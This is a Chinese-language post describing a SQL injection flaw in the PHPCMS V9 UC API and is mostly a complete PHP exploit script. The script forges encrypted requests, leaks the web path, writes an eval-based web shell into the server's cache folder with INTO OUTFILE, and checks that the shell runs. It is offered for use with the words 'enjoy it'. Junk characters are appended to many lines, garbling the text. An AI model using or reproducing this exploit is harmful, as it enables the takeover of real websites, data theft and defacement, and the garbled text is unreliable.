PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。( D+ p- S. v9 t8 U
: y# Z. H' K- ]& ]& L2 l/ B所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
; R7 Z; B, M1 m. j4 I- x
" M9 Q3 K! U9 T- V+ m8 h5 B漏洞分析:2 x* p5 O2 M5 ^& I
1.未启用ucenter服务的情况下uc_key为空& B# B* M( r" j6 r
define('UC_KEY', pc_base::load_config('system', 'uc_key'));
; r: a3 s/ p. I: K" V5 k' O2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
~5 D/ `" d* r& h/ ^ public function deleteuser($get,$post) { N) u; U4 W7 n- m$ A* p, z7 s
pc_base::load_app_func('global', 'admin');
' K/ I) \3 u6 |9 T: R5 i7 x% d pc_base::load_app_class('messagequeue', 'admin' , 0);
3 u0 Y* ]: c3 j. q1 a* t, a: a $ids = new_stripslashes($get['ids']);
V- C) D0 Y% A$ Q& x3 K $s = $this->member_db->select("ucuserid in ($ids)", "uid");8 H, T8 C \1 @* D5 ?; ^8 |7 E; Y
SQL语句为& `3 e" ]) L* ?$ x! f! v
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)* M# M: b. k" `% M8 Y- v1 j
: N3 z' _- K* }, R" S- U
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
' ^7 \# e+ M8 l# ]" [<?php
1 C: i3 z3 I6 U$ x/ }( Jprint_r('
. a& z9 x k; u1 w---------------------------------------------------------------------------
$ Z H5 b+ k! G. G6 I( r2 U! ]2 pPHPcms (v9 or Old Version) uc api sql injection 0day
3 x0 t i- q! E* @- Uby rayh4c#80sec.com
7 w G, I @0 y2 |0 G1 p---------------------------------------------------------------------------( [) `9 Z9 | K2 c
');
9 `4 G, ]7 s/ \9 w6 W, U
~* p: Y* n& W! ?# }# Bif ($argc<3) {
$ M2 s& \3 _1 m print_r(' G8 G4 C" U0 t& v' P
---------------------------------------------------------------------------7 G- P* ~1 B& S2 p/ S: V
Usage: php '.$argv[0].' host path OPTIONS
; W1 x6 `8 R, f6 b1 ~7 Ahost: target server (ip/hostname)
9 G. i, l0 j M, j. J6 k, `5 g; kpath: path to phpcms5 p6 }5 Z* Q. t0 D: Q
Options:
- Z6 h/ u: [2 B* S5 K; t -p[port]: specify a port other than 80
! z& i3 Y) _6 W: f \2 O. S -P[ip:port]: specify a proxy
" ?$ o' o2 N* z3 W( d; rExample:: m5 {4 J6 P u7 j# ]. Y
php '.$argv[0].' localhost /
- t1 z0 p/ V8 J6 _/ fphp '.$argv[0].' localhost /phpcms/ -p81
& v. D1 P6 s# yphp '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
2 d' w& G8 ]8 [* A6 L9 `---------------------------------------------------------------------------
' x7 D& B {/ {# _& n( B3 P% E& o');
6 S* k- X3 k o5 i die;
% ]1 u9 ]2 O' m, A# u}) h& H0 w2 x( U4 _1 j# ~) z! h) I( M
! u+ c: c K h4 a8 k* f6 |error_reporting(7);
8 I$ x& o3 F% ?ini_set("max_execution_time",0);
z) g8 P, j L- Iini_set("default_socket_timeout",5);
7 t- k% C2 G5 T3 L+ N1 o1 n* O+ a9 }
function quick_dump($string)
, L! q' J, y% g0 \{! n0 c! U; K, a6 c" M, O8 f$ U5 x& f
$result='';$exa='';$cont=0;1 e3 H. w0 |$ v: l+ y Q* v. f* \2 |
for ($i=0; $i<=strlen($string)-1; $i++)
5 m8 B. G/ E. v: u" Q% @! K {* L" U$ Z; {, S1 { d! h/ R+ {
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
& }- [ m, k0 B: q! S3 F. [% m {$result.=" .";}% T: c" F X3 N7 g2 k
else6 I: L4 N D; ~/ h C$ S$ s7 x
{$result.=" ".$string[$i];}
% Q0 D7 j/ L }8 x: B+ { if (strlen(dechex(ord($string[$i])))==2)
) a5 ~9 T' U5 w+ { |0 ?. D {$exa.=" ".dechex(ord($string[$i]));}
, V& o. K9 K0 p/ l else
/ j# T& y7 D ?4 J; M4 }) ] {$exa.=" 0".dechex(ord($string[$i]));}. {4 Z. C0 E7 B+ ~% }; e* R5 a8 w
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
i0 W! x! p# s: n5 d( G% p. e }1 A9 h/ I. ^+ ^0 R5 y
return $exa."\r\n".$result;
1 y* f% G0 Y) n6 Q) A' B}
8 s& @( {+ Q. o& H+ f Z$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';) U! T: C! v: @% W& d
2 Z1 Z0 H2 o) ~function send($packet). n$ Q" H: L, [( z! B; F
{- ^/ E. u5 o% o
global $proxy, $host, $port, $html, $proxy_regex;
* z) V* y) }9 x; N1 d if ($proxy=='') {
/ H1 g O$ u# M# Z0 Y! I& T $ock=fsockopen(gethostbyname($host),$port);7 C/ P6 t8 i# S2 ~
if (!$ock) {% l( V i+ |( K9 p4 ]
echo 'No response from '.$host.':'.$port; die;2 S- a. c/ D+ ~0 p3 ]
}
. u" v$ r9 o$ @ }, u+ g2 F5 b5 E4 ?( N
else {
; m: u) E7 ?; m. Y0 t8 d0 C $c = preg_match($proxy_regex,$proxy);" u' `1 J! k# N& a8 e
if (!$c) {) |* t# Q! Q( `
echo 'Not a valid proxy...';die;: `( K; O. E6 X0 d% h
}; ~1 E' I8 h9 h4 t4 s; p
$parts=explode(':',$proxy);
3 R, J1 r, m% R* o$ r7 E' h% v8 f $parts[1]=(int)$parts[1];! R) G' y9 I5 O x% ]
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
8 O v k. i9 v2 S' @ $ock=fsockopen($parts[0],$parts[1]);
8 g' h }; g; k+ Q2 S if (!$ock) {
: c/ {' P9 p6 D9 `4 H echo 'No response from proxy...';die;- S1 {8 a9 {. m' N/ J
}+ |1 Y& @+ p$ r3 A6 |" z8 r1 l
}$ G$ g1 R; i/ n/ C3 B
fputs($ock,$packet);
( |8 h0 ?. B/ V+ ~/ p+ y. C. t+ { if ($proxy=='') {
; p0 \& X/ Y. A, p1 o7 ~1 v $html='';
5 ]+ x. ~' Z5 L% ]) `9 R0 |! A while (!feof($ock)) {
# ^8 U7 G! i O6 w; c/ Q6 ]$ W $html.=fgets($ock);0 {0 S' I& Q. {# l [2 Q3 L
}
* c) V4 I( A( d( p1 H. K }
: e1 C \/ p2 q! E$ N' P else {& `& `+ p) U7 S9 p. c- ]+ [7 }
$html='';
t2 O0 F* F$ f4 P \ while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {! [9 V4 m: ^1 ?5 g5 c8 ~
$html.=fread($ock,1);: o$ o8 U8 q# z9 m, b4 ?; L* y
}
4 Q$ }. M: M* v! B3 p+ {0 E }& d D, M. |) |/ c/ @
fclose($ock);
& P; I& s8 }% F- d}
+ L2 n. D0 ^, u0 }+ j
+ m# f4 K, E) Z& j) k$host=$argv[1];
' E7 I5 Z* S6 ]- E0 B; A, c4 V$path=$argv[2];9 y. K# z/ A8 V1 }0 t$ o
$port=80;( p2 z! T/ D! F' d; V
$proxy="";
, [& n9 G& y5 g" b1 z( p+ ffor ($i=3; $i<$argc; $i++){( o1 `) a& E% q
$temp=$argv[$i][0].$argv[$i][1];
! d: X& L. y- y* ^- Oif ($temp=="-p")) c3 h% z" @$ M% J- I3 l
{
' p0 ~3 C. S8 w4 A Q& ^" L $port=(int)str_replace("-p","",$argv[$i]);
( _! r4 f. _* m$ t}$ u% Z k* E5 g- e0 D8 t
if ($temp=="-P")
' [" u8 S, j: N* w$ K, e8 D{
% `+ `6 ]! l6 o6 ^/ ? $proxy=str_replace("-P","",$argv[$i]);9 W8 ?" i9 j- ?( M. c
}
6 b6 ]1 i8 t6 Z}/ a! h5 O( L2 t$ L/ {+ p
% ?" m" e( n$ ^if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}9 F, B# s3 d" u" G2 i
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}% f W: C' J/ B1 Z% x
; ~; x" z8 i+ ~% l
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
: v2 i1 _" C4 G" f% n% G! q: z! S0 O4 z/ [3 ^
$ckey_length = 4;3 p5 Z% m/ T* K/ z# h
( H. l9 I/ ~3 u
$key = md5($key ? $key : '');
" k/ B" G {1 B6 m; o W8 t $keya = md5(substr($key, 0, 16));1 X* |6 X+ V9 c4 z: _0 K2 r# l
$keyb = md5(substr($key, 16, 16));
5 q; r$ i' S7 y8 k/ V $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';+ H$ I+ o. ~5 U$ G+ a: O4 K' f$ m
[, Q9 {/ L" p6 @% |6 ]: G
$cryptkey = $keya.md5($keya.$keyc);
: ^& k2 Z0 C+ }2 Y $key_length = strlen($cryptkey);
9 A8 `3 D$ a9 H& \; r& w- b! Q* y* I4 Q! V
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;3 N4 @3 k- h& s9 | J
$string_length = strlen($string);
" x C. p) S$ X* `. d% d5 M) r" O, s6 p) K$ z6 T
$result = '';5 \: Z w& ~3 ^/ w! p$ Q+ U
$box = range(0, 255);
: |+ @; N8 `2 j8 P# f" u1 _& X0 j; f3 ^
$rndkey = array();
$ x; Z! d: B, N. _ for($i = 0; $i <= 255; $i++) {
( S6 P- v3 K: b1 } $rndkey[$i] = ord($cryptkey[$i % $key_length]);9 y$ M1 R) I+ G0 H5 z4 v
}
( U& L; v5 {4 {2 v$ k
7 E/ Z# K @/ `& _% _0 @$ N for($j = $i = 0; $i < 256; $i++) {
' ?5 }- [% s& p' I9 H( A5 | $j = ($j + $box[$i] + $rndkey[$i]) % 256;# B) ]+ {! H+ ?8 ?$ I/ M, w5 H
$tmp = $box[$i];7 T4 u" ~) c% k' l: [" x; O
$box[$i] = $box[$j];
' z0 X( R6 A' w" x9 M: t6 z. c $box[$j] = $tmp;' Z" F7 N- e" p1 Q
}, n! ]' \' x$ F [/ m3 H
. P: I7 g* Z" S) P' w$ U' X
for($a = $j = $i = 0; $i < $string_length; $i++) {6 X! c' l' i. { ~! G7 y
$a = ($a + 1) % 256;
- H& X5 w) A' j $j = ($j + $box[$a]) % 256;; j( k0 `0 V! i/ O5 l- a
$tmp = $box[$a];, h% h6 t% [8 b! e7 R! r
$box[$a] = $box[$j]; n- m/ `0 ~+ u
$box[$j] = $tmp;
7 B" [% q& G" c $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));) F/ J+ W1 S2 R# i- a
}
$ U' o3 N2 b1 F- @1 D; C3 w2 F
- P; d4 D( k! S9 D if($operation == 'DECODE') {1 y: X, k0 L' z# T' [' s2 y
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {0 }: d( k7 K3 C
return substr($result, 26);, ^0 \' L9 Z$ e: L, N
} else {
3 F: n: `6 g# N( e* |: o return '';3 ?) |4 w s5 r
}6 H9 l5 z/ J) a
} else {8 }8 U; G1 ]8 J' j- e
return $keyc.str_replace('=', '', base64_encode($result));! `4 v5 _- e7 U
}
* M4 \ Q) m2 h: v: p
# Q5 {( N: N/ ]8 n}# x" y9 @, L! S- L
3 W7 `) Q4 e8 C. B4 N: p$ y1 c2 X
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";. s& T- g2 t5 a( r$ b/ h
$SQL = urlencode(authcode($SQL, "ENCODE", ""));% c/ L5 q+ D. w: m4 @5 I+ ^
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
. D5 {' h4 t* Q5 n2 t$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n"; @6 D7 m/ O1 ^' |2 t
$packet.="User-Agent: Mozilla/5.0\r\n";- |, w+ k" S& m" _, F' y
$packet.="Host: ".$host."\r\n";5 V) A# j- |/ y
$packet.="Connection: Close\r\n\r\n";/ Z2 W9 ^- R3 W, u+ J# [5 q
send($packet);
3 k" u: r# _2 {- {if(strpos($html,"MySQL Errno") > 0){9 ~3 V M6 [2 o# F9 i
echo "[2] 发现存在SQL注入漏洞"."\n";4 w# ?$ `0 a: y' Z: j9 q0 k1 j
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";, j4 ^2 _' N7 e4 }* S
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";6 Y% J8 Q' Q7 L! B! ]$ \
$packet.="User-Agent: Mozilla/5.0\r\n";% i, X" E0 Q. J! Z& ?' D
$packet.="Host: ".$host."\r\n"; X# [! e$ p) \, j! x. _
$packet.="Connection: Close\r\n\r\n";
0 g. B2 K0 ?, C: Q6 k5 T1 Jsend($packet);6 m# G& ]. c2 _, M7 C
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
5 a ^; [' M/ J K//print_r($matches);- |3 y: m8 A: t, y( Y* C
if(!empty($matches)){( a' N! g* V) s( { J
echo "[4] 得到web路径 " . $matches[0]."\n";, j, \" [# A2 ~3 m
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
' K+ o( |( Y6 ~( h8 y( I! t/ j$SQL = "time=999999999999999999999999&ids=1)";
* g: O* p; v. g0 K* H$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
9 k6 e7 G# O' k9 C& b! ^$SQL.="&action=deleteuser";7 a9 B4 ^1 x) H# [+ Z
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
: z0 C( l& V" E* ?4 N+ f' `( Kecho "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
% V5 Z- p1 a/ [* @6 M. t$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";0 g% R9 d# x, z" z
$packet.="User-Agent: Mozilla/5.0\r\n";
& r0 F# E1 k1 Z$packet.="Host: ".$host."\r\n";( ^+ \1 L9 U% R- g
$packet.="Connection: Close\r\n\r\n";$ o4 D5 d- H+ e; {+ f: O A
send($packet);, {# z& A, s4 r8 H) B! ~5 _+ M
if(strpos($html,"Access denied") > 0){1 i* b. W; v. Z- l; m# r- @
echo "[-] MYSQL权限过低 禁止写入文件 ";
- i' U3 |* Y( @& f5 pdie;0 }" H/ x5 Q, m, ~5 U, Z
}* ]# T0 x* Q+ f: p! k; n
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";5 L6 w/ @$ @4 G3 R
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
1 U# n s0 h5 v; Z7 U( y$packet.="User-Agent: Mozilla/5.0\r\n";
! ?7 F7 D. n. d, H$packet.="Host: ".$host."\r\n";% ^: U7 {" C0 d% W, w
$packet.="Connection: Close\r\n\r\n";6 n3 C% k9 [ z6 o; k& G# E; Z
send($packet);
" t4 t* @3 p( `1 }if(strpos($html,"<title>phpinfo()</title>") > 0){& e/ q0 b8 X$ y* V8 A
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";! @7 H0 u; [5 B* \0 b( M! `" o: \0 q
}
2 Z/ [% B6 W4 q, i9 W: {. h* I}else{
& j' D \2 v Lecho "[-]未取到web路径 ";
! U! S" o0 d3 D C}& s" n1 Y; e: Z) v0 T0 s5 U1 ~7 G
}else{" q7 f, k6 S) u3 E/ M+ O+ m' P7 B
echo "[*]不存在SQL注入漏洞"."\n";
- l: k0 P& m8 p! t" R+ m}
5 O0 N, l9 e2 R+ H" U3 d- _4 @ N0 }/ a
?>7 p, A5 X7 O% ]* A0 s. j1 y
|